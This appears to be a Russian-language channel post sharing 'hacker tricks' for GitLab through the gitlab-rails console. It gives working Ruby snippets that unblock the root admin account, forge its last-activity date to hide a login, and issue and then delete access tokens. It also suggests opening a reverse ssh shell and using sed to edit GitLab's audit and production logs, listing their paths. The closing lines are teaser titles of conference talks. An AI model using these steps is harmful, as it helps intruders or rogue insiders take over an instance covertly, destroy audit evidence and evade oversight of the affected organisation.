Офигеть, чувачки, нас 42 человека, хотите покажу хацкерские приколюхи, связанные с гитлабом?
Накиньте реакций )

Информация предоставлена чисто в образовательных целях!

Ладно, поехали, на всякий всё через консольку rails для администрирования gitlab (gitlab-rails console):

1) Обычно админа root блочат, для безопасности, и почту ему задают через example.com или через любую несуществующую:

user = User.find_by(username: 'root')  # Replace 'root' with the actual username

if user
  # Inspect user attributes
  puts user.attributes
  puts user.inspect

  # If there is an attribute for user status, update it accordingly
  user.update!(state: 'active')  # Example attribute
  puts "User #{user.username} has been unblocked successfully!"
else
  puts "User not found."
end

2) Разлочили админушку и пошли через ui крутить всякие штуки и смотреть на сикреты, фатальная ошибка, через админку можно посмотреть, когда вы залогинились (также можно из консоли сделать).
Чтобы было без казусов, подделываем время последнего входа в систему))

user = User.find_by(username: 'root') # Replace 'root' with the actual username if different
if user
# Construct a Time object for January 1, 2014
specific_date = Time.new(2014, 1, 1, 0, 0, 0, '+00:00') # Adjust timezone if necessary

# Update the last_activity_on attribute
user.update!(last_activity_on: specific_date)
puts "Last activity for user #{user.username} has been set to #{user.last_activity_on}."
else
puts "User not found."
end

3) Вы можете выписать себе токен обмазаться ролёвкой, и весь цимес, после поигрулек можно токен зачистить:

root_user = User.find_by(username: 'root')
if root_user
  puts "Root user found: #{root_user.username}, ID: #{root_user.id}"
  tokens = PersonalAccessToken.where(user_id: root_user.id)
  if tokens.any?
    puts "Tokens for root user:"
    tokens.each do |token|
      puts "ID: #{token.id}, Created At: #{token.created_at}, Scopes: #{token.scopes.join(', ')}"
    end
  else
    puts "No tokens found for root user."
  end

  # Remove a specific token (replace <TOKEN_ID> with the actual token ID)
  token_id_to_remove = <TOKEN_ID>
  token = PersonalAccessToken.find_by(id: token_id_to_remove)

  if token
    token.destroy
    puts "Token with ID #{token_id_to_remove} has been removed."
  else
    puts "Token with ID #{token_id_to_remove} not found."
  end
else
  puts "Root user not found."
end

Таки консоль очень мощная штука, можете себе обратный ssh поднять, тригернуть джобу на runner.
Первый раз я почему-то не нашел такой методики сокрытия активности и решил поделиться, не судите строго)

Ну еще момент, вся ваша активность по гитлабу фиксируется в логах (/var/log/gitlab/), но ведь существует тулза sed 😎
./gitlab-rails/audit_json.log
./gitlab-rails/production_json.log
./gitlab-rails/api_json.log
./gitlab-rails/application_json.log
./gitlab-rails/graphql_json.log

Ну что ребятки немного шизы?

Сейчас по Defсon листаю материальчик, скоро соберу интересные темки и пролью сюда, пока на затравочку)

Делаем агресивную бочечку с мёдом, с возможностью RCE со стороны клиента (Mysql) :)

Да, давайййй, кэшируй паскуда))
Атаки на веб кэш 😎

Kibana Bug Bounty

XZ Backdoor story

Искусство компрометации (вебчик)

Exploiting Bluetooth: from your car to the bank account